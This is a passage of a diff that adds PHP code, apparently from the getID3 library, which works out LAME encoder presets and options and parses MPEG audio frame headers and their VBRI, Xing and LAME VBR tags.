+				$KnownEncoderValues[0xFF][99][1][1][1][2][0]     = '--preset studio';            // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
+				$KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio';            // 3.90.3, 3.93.1
+				$KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio';            // 3.93
+				$KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio';            // 3.94,   3.95
+				$KnownEncoderValues[0xC0][88][1][1][1][2][0]     = '--preset cd';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd';                // 3.90.3, 3.93.1
+				$KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd';                // 3.93
+				$KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd';                // 3.94,   3.95
+				$KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi';              // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi';              // 3.94,   3.95
+				$KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio';             // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm';     // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm';     // 3.94,   3.95
+				$KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice';             // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice';             // 3.94,   3.95
+				$KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice';             // 3.94a14
+				$KnownEncoderValues[0x28][65][1][1][0][2][7500]  = '--preset mw-us';             // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues[0x28][65][1][1][0][2][7600]  = '--preset mw-us';             // 3.90.2, 3.91
+				$KnownEncoderValues[0x28][58][2][2][0][2][7000]  = '--preset mw-us';             // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us';             // 3.94,   3.95
+				$KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us';             // 3.94a14
+				$KnownEncoderValues[0x28][57][2][1][0][4][8800]  = '--preset mw-us';             // 3.94a15
+				$KnownEncoderValues[0x18][58][2][2][0][2][4000]  = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1
+				$KnownEncoderValues[0x18][58][2][2][0][2][3900]  = '--preset phon+/lw/mw-eu/sw'; // 3.93
+				$KnownEncoderValues[0x18][57][2][1][0][4][5900]  = '--preset phon+/lw/mw-eu/sw'; // 3.94,   3.95
+				$KnownEncoderValues[0x18][57][2][1][0][4][6200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a14
+				$KnownEncoderValues[0x18][57][2][1][0][4][3200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a15
+				$KnownEncoderValues[0x10][58][2][2][0][2][3800]  = '--preset phone';             // 3.90.3, 3.93.1
+				$KnownEncoderValues[0x10][58][2][2][0][2][3700]  = '--preset phone';             // 3.93
+				$KnownEncoderValues[0x10][57][2][1][0][4][5600]  = '--preset phone';             // 3.94,   3.95
+			}
+
+			if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {
+
+				$encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];
+
+			} elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {
+
+				$encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];
+
+			} elseif ($info['audio']['bitrate_mode'] == 'vbr') {
+
+				// http://gabriel.mp3-tech.org/mp3infotag.html
+				// int    Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h
+
+
+				$LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10);
+				$LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10);
+				$encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value;
+
+			} elseif ($info['audio']['bitrate_mode'] == 'cbr') {
+
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
+
+			} else {
+
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
+
+			}
+
+		} elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) {
+
+			$encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr'];
+
+		} elseif (!empty($info['audio']['bitrate'])) {
+
+			if ($info['audio']['bitrate_mode'] == 'cbr') {
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
+			} else {
+				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
+			}
+
+		}
+		if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) {
+			$encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min'];
+		}
+
+		if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) {
+			$encoder_options .= ' --nogap';
+		}
+
+		if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) {
+			$ExplodedOptions = explode(' ', $encoder_options, 4);
+			if ($ExplodedOptions[0] == '--r3mix') {
+				$ExplodedOptions[1] = 'r3mix';
+			}
+			switch ($ExplodedOptions[0]) {
+				case '--preset':
+				case '--alt-preset':
+				case '--r3mix':
+					if ($ExplodedOptions[1] == 'fast') {
+						$ExplodedOptions[1] .= ' '.$ExplodedOptions[2];
+					}
+					switch ($ExplodedOptions[1]) {
+						case 'portable':
+						case 'medium':
+						case 'standard':
+						case 'extreme':
+						case 'insane':
+						case 'fast portable':
+						case 'fast medium':
+						case 'fast standard':
+						case 'fast extreme':
+						case 'fast insane':
+						case 'r3mix':
+							static $ExpectedLowpass = array(
+									'insane|20500'        => 20500,
+									'insane|20600'        => 20600,  // 3.90.2, 3.90.3, 3.91
+									'medium|18000'        => 18000,
+									'fast medium|18000'   => 18000,
+									'extreme|19500'       => 19500,  // 3.90,   3.90.1, 3.92, 3.95
+									'extreme|19600'       => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
+									'fast extreme|19500'  => 19500,  // 3.90,   3.90.1, 3.92, 3.95
+									'fast extreme|19600'  => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
+									'standard|19000'      => 19000,
+									'fast standard|19000' => 19000,
+									'r3mix|19500'         => 19500,  // 3.90,   3.90.1, 3.92
+									'r3mix|19600'         => 19600,  // 3.90.2, 3.90.3, 3.91
+									'r3mix|18000'         => 18000,  // 3.94,   3.95
+								);
+							if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) {
+								$encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency'];
+							}
+							break;
+
+						default:
+							break;
+					}
+					break;
+			}
+		}
+
+		if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) {
+			if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) {
+				$encoder_options .= ' --resample 44100';
+			} elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) {
+				$encoder_options .= ' --resample 48000';
+			} elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) {
+				switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) {
+					case 0: // <= 32000
+						// may or may not be same as source frequency - ignore
+						break;
+					case 1: // 44100
+					case 2: // 48000
+					case 3: // 48000+
+						$ExplodedOptions = explode(' ', $encoder_options, 4);
+						switch ($ExplodedOptions[0]) {
+							case '--preset':
+							case '--alt-preset':
+								switch ($ExplodedOptions[1]) {
+									case 'fast':
+									case 'portable':
+									case 'medium':
+									case 'standard':
+									case 'extreme':
+									case 'insane':
+										$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
+										break;
+
+									default:
+										static $ExpectedResampledRate = array(
+												'phon+/lw/mw-eu/sw|16000' => 16000,
+												'mw-us|24000'             => 24000, // 3.95
+												'mw-us|32000'             => 32000, // 3.93
+												'mw-us|16000'             => 16000, // 3.92
+												'phone|16000'             => 16000,
+												'phone|11025'             => 11025, // 3.94a15
+												'radio|32000'             => 32000, // 3.94a15
+												'fm/radio|32000'          => 32000, // 3.92
+												'fm|32000'                => 32000, // 3.90
+												'voice|32000'             => 32000);
+										if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) {
+											$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
+										}
+										break;
+								}
+								break;
+
+							case '--r3mix':
+							default:
+								$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
+								break;
+						}
+						break;
+				}
+			}
+		}
+		if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) {
+			//$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
+			$encoder_options = strtoupper($info['audio']['bitrate_mode']);
+		}
+
+		return $encoder_options;
+	}
+
+
+	public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) {
+		static $MPEGaudioVersionLookup;
+		static $MPEGaudioLayerLookup;
+		static $MPEGaudioBitrateLookup;
+		static $MPEGaudioFrequencyLookup;
+		static $MPEGaudioChannelModeLookup;
+		static $MPEGaudioModeExtensionLookup;
+		static $MPEGaudioEmphasisLookup;
+		if (empty($MPEGaudioVersionLookup)) {
+			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
+			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
+			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
+			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
+			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
+			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
+			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
+		}
+
+		if ($this->fseek($offset) != 0) {
+			$this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset);
+			return false;
+		}
+		//$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame
+		$headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data
+
+		// MP3 audio frame structure:
+		// $aa $aa $aa $aa [$bb $bb] $cc...
+		// where $aa..$aa is the four-byte mpeg-audio header (below)
+		// $bb $bb is the optional 2-byte CRC
+		// and $cc... is the audio data
+
+		$head4 = substr($headerstring, 0, 4);
+		$head4_key = getid3_lib::PrintHexBytes($head4, true, false, false);
+		static $MPEGaudioHeaderDecodeCache = array();
+		if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) {
+			$MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key];
+		} else {
+			$MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4);
+			$MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray;
+		}
+
+		static $MPEGaudioHeaderValidCache = array();
+		if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache
+			//$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true);  // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1)
+			$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false);
+		}
+
+		// shortcut
+		if (!isset($info['mpeg']['audio'])) {
+			$info['mpeg']['audio'] = array();
+		}
+		$thisfile_mpeg_audio = &$info['mpeg']['audio'];
+
+
+		if ($MPEGaudioHeaderValidCache[$head4_key]) {
+			$thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray;
+		} else {
+			$this->error('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset);
+			return false;
+		}
+
+		if (!$FastMPEGheaderScan) {
+			$thisfile_mpeg_audio['version']       = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']];
+			$thisfile_mpeg_audio['layer']         = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']];
+
+			$thisfile_mpeg_audio['channelmode']   = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']];
+			$thisfile_mpeg_audio['channels']      = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2);
+			$thisfile_mpeg_audio['sample_rate']   = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']];
+			$thisfile_mpeg_audio['protection']    = !$thisfile_mpeg_audio['raw']['protection'];
+			$thisfile_mpeg_audio['private']       = (bool) $thisfile_mpeg_audio['raw']['private'];
+			$thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']];
+			$thisfile_mpeg_audio['copyright']     = (bool) $thisfile_mpeg_audio['raw']['copyright'];
+			$thisfile_mpeg_audio['original']      = (bool) $thisfile_mpeg_audio['raw']['original'];
+			$thisfile_mpeg_audio['emphasis']      = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']];
+
+			$info['audio']['channels']    = $thisfile_mpeg_audio['channels'];
+			$info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate'];
+
+			if ($thisfile_mpeg_audio['protection']) {
+				$thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2));
+			}
+		}
+
+		if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) {
+			// http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0
+			$this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1');
+			$thisfile_mpeg_audio['raw']['bitrate'] = 0;
+		}
+		$thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding'];
+		$thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']];
+
+		if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) {
+			// only skip multiple frame check if free-format bitstream found at beginning of file
+			// otherwise is quite possibly simply corrupted data
+			$recursivesearch = false;
+		}
+
+		// For Layer 2 there are some combinations of bitrate and mode which are not allowed.
+		if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) {
+
+			$info['audio']['dataformat'] = 'mp2';
+			switch ($thisfile_mpeg_audio['channelmode']) {
+
+				case 'mono':
+					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) {
+						// these are ok
+					} else {
+						$this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
+						return false;
+					}
+					break;
+
+				case 'stereo':
+				case 'joint stereo':
+				case 'dual channel':
+					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) {
+						// these are ok
+					} else {
+						$this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
+						return false;
+					}
+					break;
+
+			}
+
+		}
+
+
+		if ($info['audio']['sample_rate'] > 0) {
+			$thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']);
+		}
+
+		$nextframetestoffset = $offset + 1;
+		if ($thisfile_mpeg_audio['bitrate'] != 'free') {
+
+			$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
+
+			if (isset($thisfile_mpeg_audio['framelength'])) {
+				$nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength'];
+			} else {
+				$this->error('Frame at offset('.$offset.') is has an invalid frame length.');
+				return false;
+			}
+
+		}
+
+		$ExpectedNumberOfAudioBytes = 0;
+
+		////////////////////////////////////////////////////////////////////////////////////
+		// Variable-bitrate headers
+
+		if (substr($headerstring, 4 + 32, 4) == 'VBRI') {
+			// Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36)
+			// specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html
+
+			$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
+			$thisfile_mpeg_audio['VBR_method']   = 'Fraunhofer';
+			$info['audio']['codec']                = 'Fraunhofer';
+
+			$SideInfoData = substr($headerstring, 4 + 2, 32);
+
+			$FraunhoferVBROffset = 36;
+
+			$thisfile_mpeg_audio['VBR_encoder_version']     = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  4, 2)); // VbriVersion
+			$thisfile_mpeg_audio['VBR_encoder_delay']       = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  6, 2)); // VbriDelay
+			$thisfile_mpeg_audio['VBR_quality']             = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  8, 2)); // VbriQuality
+			$thisfile_mpeg_audio['VBR_bytes']               = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes
+			$thisfile_mpeg_audio['VBR_frames']              = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames
+			$thisfile_mpeg_audio['VBR_seek_offsets']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize
+			$thisfile_mpeg_audio['VBR_seek_scale']          = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale
+			$thisfile_mpeg_audio['VBR_entry_bytes']         = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes
+			$thisfile_mpeg_audio['VBR_entry_frames']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames
+
+			$ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes'];
+
+			$previousbyteoffset = $offset;
+			for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) {
+				$Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes']));
+				$FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes'];
+				$thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']);
+				$thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset;
+				$previousbyteoffset += $Fraunhofer_OffsetN;
+			}
+
+
+		} else {
+
+			// Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36)
+			// depending on MPEG layer and number of channels
+
+			$VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']);
+			$SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4);
+
+			if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) {
+				// 'Xing' is traditional Xing VBR frame
+				// 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.)
+				// 'Info' *can* legally be used to specify a VBR file as well, however.
+
+				// http://www.multiweb.cz/twoinches/MP3inside.htm
+				//00..03 = "Xing" or "Info"
+				//04..07 = Flags:
+				//  0x01  Frames Flag     set if value for number of frames in file is stored
+				//  0x02  Bytes Flag      set if value for filesize in bytes is stored
+				//  0x04  TOC Flag        set if values for TOC are stored
+				//  0x08  VBR Scale Flag  set if values for VBR scale is stored
+				//08..11  Frames: Number of frames in file (including the first Xing/Info one)
+				//12..15  Bytes:  File length in Bytes
+				//16..115  TOC (Table of Contents):
+				//  Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file.
+				//  Each Byte has a value according this formula:
+				//  (TOC[i] / 256) * fileLenInBytes
+				//  So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use:
+				//  TOC[(60/240)*100] = TOC[25]
+				//  and corresponding Byte in file is then approximately at:
+				//  (TOC[25]/256) * 5000000
+				//116..119  VBR Scale
+
+
+				// should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME
+//				if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') {
+					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
+					$thisfile_mpeg_audio['VBR_method']   = 'Xing';
+//				} else {
+//					$ScanAsCBR = true;
+//					$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+//				}
+
+				$thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4));
+
+				$thisfile_mpeg_audio['xing_flags']['frames']    = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001);
+				$thisfile_mpeg_audio['xing_flags']['bytes']     = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002);
+				$thisfile_mpeg_audio['xing_flags']['toc']       = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004);
+				$thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008);
+
+				if ($thisfile_mpeg_audio['xing_flags']['frames']) {
+					$thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset +  8, 4));
+					//$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame
+				}
+				if ($thisfile_mpeg_audio['xing_flags']['bytes']) {
+					$thisfile_mpeg_audio['VBR_bytes']  = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4));
+				}
+
+				//if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
+				//if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
+				if (!empty($thisfile_mpeg_audio['VBR_frames'])) {
+					$used_filesize  = 0;
+					if (!empty($thisfile_mpeg_audio['VBR_bytes'])) {
+						$used_filesize = $thisfile_mpeg_audio['VBR_bytes'];
+					} elseif (!empty($info['filesize'])) {
+						$used_filesize  = $info['filesize'];
+						$used_filesize -= intval(@$info['id3v2']['headerlength']);
+						$used_filesize -= (isset($info['id3v1']) ? 128 : 0);
+						$used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0);
+						$this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes');
+					}
+
+					$framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames'];
+
+					if ($thisfile_mpeg_audio['layer'] == '1') {
+						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
+						//$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
+						$info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12;
+					} else {
+						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
+						//$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
+						$info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144;
+					}
+					$thisfile_mpeg_audio['framelength'] = floor($framelengthfloat);
+				}
+
+				if ($thisfile_mpeg_audio['xing_flags']['toc']) {
+					$LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100);
+					for ($i = 0; $i < 100; $i++) {
+						$thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData{$i});
+					}
+				}
+				if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) {
+					$thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4));
+				}
+
+
+				// http://gabriel.mp3-tech.org/mp3infotag.html
+				if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') {
+
+					// shortcut
+					$thisfile_mpeg_audio['LAME'] = array();
+					$thisfile_mpeg_audio_lame    = &$thisfile_mpeg_audio['LAME'];
+
+
+					$thisfile_mpeg_audio_lame['long_version']  = substr($headerstring, $VBRidOffset + 120, 20);
+					$thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9);
+
+					if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') {
+
+						// extra 11 chars are not part of version string when LAMEtag present
+						unset($thisfile_mpeg_audio_lame['long_version']);
+
+						// It the LAME tag was only introduced in LAME v3.90
+						// http://www.hydrogenaudio.org/?act=ST&f=15&t=9933
+
+						// Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html
+						// are assuming a 'Xing' identifier offset of 0x24, which is the case for
+						// MPEG-1 non-mono, but not for other combinations
+						$LAMEtagOffsetContant = $VBRidOffset - 0x24;
+
+						// shortcuts
+						$thisfile_mpeg_audio_lame['RGAD']    = array('track'=>array(), 'album'=>array());
+						$thisfile_mpeg_audio_lame_RGAD       = &$thisfile_mpeg_audio_lame['RGAD'];
+						$thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track'];
+						$thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album'];
+						$thisfile_mpeg_audio_lame['raw'] = array();
+						$thisfile_mpeg_audio_lame_raw    = &$thisfile_mpeg_audio_lame['raw'];
+
+						// byte $9B  VBR Quality
+						// This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications.
+						// Actually overwrites original Xing bytes
+						unset($thisfile_mpeg_audio['VBR_scale']);
+						$thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1));
+
+						// bytes $9C-$A4  Encoder short VersionString
+						$thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9);
+
+						// byte $A5  Info Tag revision + VBR method
+						$LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1));
+
+						$thisfile_mpeg_audio_lame['tag_revision']   = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4;
+						$thisfile_mpeg_audio_lame_raw['vbr_method'] =  $LAMEtagRevisionVBRmethod & 0x0F;
